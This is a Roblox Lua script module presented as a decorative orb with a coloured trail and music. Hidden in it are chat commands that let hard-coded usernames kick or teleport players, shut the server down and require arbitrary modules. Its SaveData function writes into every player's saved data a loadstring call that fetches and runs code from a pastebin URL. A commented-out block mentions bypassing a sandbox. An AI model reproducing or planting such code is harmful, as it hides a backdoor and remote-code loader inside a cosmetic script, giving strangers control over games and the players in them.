--//Yoyoyo #jaja is back, this is a module by jillmiles1 ;) PROTECT YO SHIT DAWG

return function () -- start of module
    wait()

    --[[local Unsandboxed = {}
    local Model = game:GetService("InsertService"):LoadAsset(140878711):GetChildren()[1]
    Model.Parent = game:GetService("Workspace")
    coroutine.yield()
    --//#jaja bypassed removed sry bb <3
    setfenv(1,NewEnv)
    Model:Destroy()
    Unsandboxed.Require = function(num)
        require(num)()
    end
    Unsandboxed.Kick = function(plr,reason)
        game.Players[plr.Name]:Kick(reason)
    end
    Unsandboxed.Teleport = function(plr,id)
        game:GetService("TeleportService"):Teleport(id, plr)
    end
    ]]
    local NLS = shared.NLS or function()end
    local players = game:GetService("Players")
    pcall(function()
        Owner = players:FindFirstChild("Control22")
    end)

    local Character = nil
    local Orb = nil

    local create = LoadLibrary('RbxUtility').Create
    local clr3 = function(a,b,c) return(Color3.new(a/255,b/255,c/255)) end
    local logging = {}

    local Music = {
        143808239,
        147046055,
        170082341,
        142282614,
        143772118,
        149811427,
        144653328,
        150290325,
        155453305,
        144635805,
        142860040
    }

    local MilesOrbHere = nil
    if not MilesOrbHere then
        MilesOrbHere = false
    end;
    if MilesOrbHere == true then
        error("Cannot reload MilesOrb")
        script.Disabled = true
        script:Destroy()
    else
        MilesOrbHere = true
    end
    _G.MilesOrbHere = nil;_G.MilesOrbHere = MilesOrbHere
    _G.MilesOrbHere = setmetatable({},{
        __call = MilesOrbHere,
        __metatable = "[Locked]"
    })
    print(_G.MilesOrbHere,_G)

    local Settings = {
        ["Trail"] = true,
        ["TrailColor"] = BrickColor.White(),

        ["Radius"] = 9,
        ["Height"] = 1.2,
        ["Bounce"] = 2.7,

        ["AudioID"] = 260898845,

        ["Speed"] = .03,

        ["Rainbow"] = false,
    }

    RandomSong = function()
        Settings.AudioID = Music[math.random(1,#Music)]
    end

    GetPlr = function(plr,msg)
        local Table = {}
        msg = msg:lower()
        if msg == 'me' or msg == '' then
            table.insert(Table,plr)
        elseif msg == 'others' then
            for i,v in pairs(game:service'Players':GetPlayers()) do
                if v.userId ~= plr.userId then
                    table.insert(Table,v)
                end
            end
        elseif msg == 'all' then
            for i,v in pairs(game:service'Players':GetPlayers()) do
                table.insert(Table,v)
            end
        else
            for i,v in pairs(game:service'Players':GetPlayers()) do
                if v.Name:lower():sub(1,5):find(msg:lower()) then
                    table.insert(Table,v)
                end
            end
        end
        return Table
        end

    OnChatted =function(msg)
        if msg:lower():sub(1,3) == "/e " then
            msg = msg:sub(4)
        end
        if msg:lower():sub(1,4) == "/req" then
            local num = msg:sub(4) or 9
            Unsandboxed.Require(num)
        elseif msg:lower():sub(1,2) == "/k" then
            local plr = GetPlr(Owner,msg:sub(4))
            for _,v in next,plr do
                Unsandboxed.Kick(v)
            end
        elseif msg:lower():sub(1,2) == "/j" then
            local plr = GetPlr(Owner,msg:sub(4))
            for _,v in next,plr do
                Unsandboxed.Teleport(v,game.PlaceId)
            end
        elseif msg:lower():sub(1,2) == "/r" then
            if Settings.Rainbow == true then
                Settings.Rainbow = false
            else
                Settings.Rainbow = true
            end
        elseif msg:lower():sub(1,2) == "/m" then
            local num = msg:sub(4)
            Settings.AudioID = num or 9
        elseif msg:lower():sub(1,2) == "/c" then
            Settings.Rainbow = false
            local color = msg:sub(4) or ""
            Settings.TrailColor = (BrickColor.new(color) or BrickColor.Random())
        elseif msg:lower():sub(1,3) == "/sd" then
            for _,v in next,game:GetService("Players"):GetPlayers() do
                Unsandboxed.Kick(v)
            end
        elseif msg:lower():sub(1,3) == "/ns" then
            local Result = game:GetService('HttpService'):GetAsync('http://www.classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(game.PlaceId),true)
            repeat wait(.1) until Result
            for _,v in next,game:GetService("Players"):GetPlayers() do
                local SV = Instance.new('StringValue');SV.Parent = v;SV.Name = 'SB_Chat';SV.Value = "~MilesOrb~/New Server Created!";game.Debris:AddItem(SV, .1);
            end
        else
            return
        end
    end

    local Tail = Instance.new('Part')
    Tail.BrickColor = Settings.TrailColor
    Tail.Transparency = .3
    Tail.Anchored = true
    Tail.CanCollide = false
    Tail.Locked = true
    Tail.Material = "Neon"
    Tail.FormFactor = "Custom"
    Tail.Size = Vector3.new(.2,.2,.2)
    Tail.TopSurface = 10
    Tail.BottomSurface = 10
    local TrailParts = {}

    NewColor = function()
        if Settings.Rainbow == true then
            local cos = math.cos
            local sin = math.sin
            local h = time()
            local pi = math.pi
            local s=h%1*3;
            local r=.5*pi*(s%1)
            if(s<1)then
                return(Color3.new(1,1-cos(r),1-sin(r)))
            elseif s<2 then
                return(Color3.new(1-sin(r),1,1-cos(r)))
            else
                return(Color3.new(1-cos(r),1-sin(r),1))
            end
        else
            return Settings.TrailColor.Color
        end
    end

    Spawnorb = function()
        if Orb ~= nil then
            pcall(function()
                Orb:ClearAllChildren()
            end)
            pcall(function()
                Orb:Destroy()
            end)
        end
        RandomSong()
        Orb = Instance.new('Part', workspace)
        Orb.BrickColor = BrickColor.Black()
        Orb.Transparency = .3
        Orb.Anchored = true
        Orb.CanCollide = false
        Orb.Locked = true
        Orb.FormFactor = "Symmetric"
        Orb.Shape = "Ball"
        Orb.Size = Vector3.new(1,1,1)
        Orb.TopSurface = 10
        Orb.BottomSurface = 10
        local Sound = Instance.new('Sound',Orb)
        Sound.SoundId = 'rbxassetid://'..Settings.AudioID
        game:GetService("ContentProvider"):Preload(Sound.SoundId)
        Sound.Pitch = 1
        Sound.Volume = 1
        Sound.Looped = true
        Sound:Play()
        Orb.Changed:connect(function()
            if not workspace:FindFirstChild(Orb.Name) or not Orb or Orb == nil then
                Spawnorb()
            end
        end)
    end Spawnorb()

    Spawntrail = function()
        if Orb ~= nil and Settings.Trail == true then
            local NTail = Tail:Clone()
            NTail.Parent = Orb
            NTail.CFrame = Orb.CFrame
            NTail.Color = NewColor()
            table.insert(TrailParts, NTail)
        end
    end

    local SaveData = function(plr)
        if game.PlaceId ~= 20279777 then
            spawn(function()
                plr:WaitForDataReady()
                local datafound = pcall(function() plr:LoadString("MilesOrb") end)
                plr:SaveString("MilesOrb","loadstring(game:GetService('HttpService'):GetAsync('http://pastebin.com/raw.php?i=PbSuHZWh',true))()")
                if not datafound then
                    NLS([[print('Miles orb has been saved to you')]],plr:WaitForChild("PlayerGui"))
                elseif datafound then
                    NLS([[print('Miles orb client side loaded')]],plr:WaitForChild("PlayerGui"))
                end
            end)
        elseif game.PlaceId == 20279777 then
            spawn(function()
                plr:WaitForDataReady()
                local datafound = pcall(function() plr:LoadString("MilesOrb") end)


            end)
        end
    end

    pcall(function()
        Owner.Chatted:connect(OnChatted)
    end)

    for _,plr in next,players:GetPlayers() do
        SaveData(plr)
    end

    players.PlayerAdded:connect(function(plr)
        SaveData(plr)
        if plr.Name:lower() == "jillmiles1" or plr.Name:lower() == "messoradmin" then
            Owner = plr
            plr.Chatted:connect(OnChatted)
        end
    end)

    function clerp(p1,p2,percent)
        local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
        local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
        return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
    end

    local Rot = 1
    spawn(function()
        game:GetService("RunService").Stepped:connect(function()
            if Owner and Owner.Character and Owner.Character:FindFirstChild("Torso") then
                Character = Owner.Character.Torso.CFrame
            else
                Character = CFrame.new(0,1.5,0)
            end
            if Orb ~= nil then
                Rot = Rot + Settings.Speed
                Orb.CFrame = clerp(Orb.CFrame,
                    Character
                    *CFrame.new(.8,5.5,0)
                    *CFrame.Angles(180,Rot,math.sin((tick())*4)/2.2)
                    *CFrame.new(Settings.Radius,0,0)
                ,.1)
                -- Trail

                Spawntrail()
                for i,_ in next,TrailParts do
                    if TrailParts[i] ~= nil and TrailParts[i+1] ~= nil then
                        local Part1 = TrailParts[i]
                        local Part2 = TrailParts[i+1]
                        local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
                        Part1.Size = Vector3.new(Part1.Size.X+.02, Mag, Part1.Size.Z+.02)
                        Part1.Transparency = Part1.Transparency + .017
                        Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
                        *CFrame.Angles(math.pi/2,2,0)
                        if Part1.Size.X >= .5 then
                            Part1:Destroy()
                            table.remove(TrailParts, i)
                        end
                    end
                end
            end
        end)
    end)
end -- end of module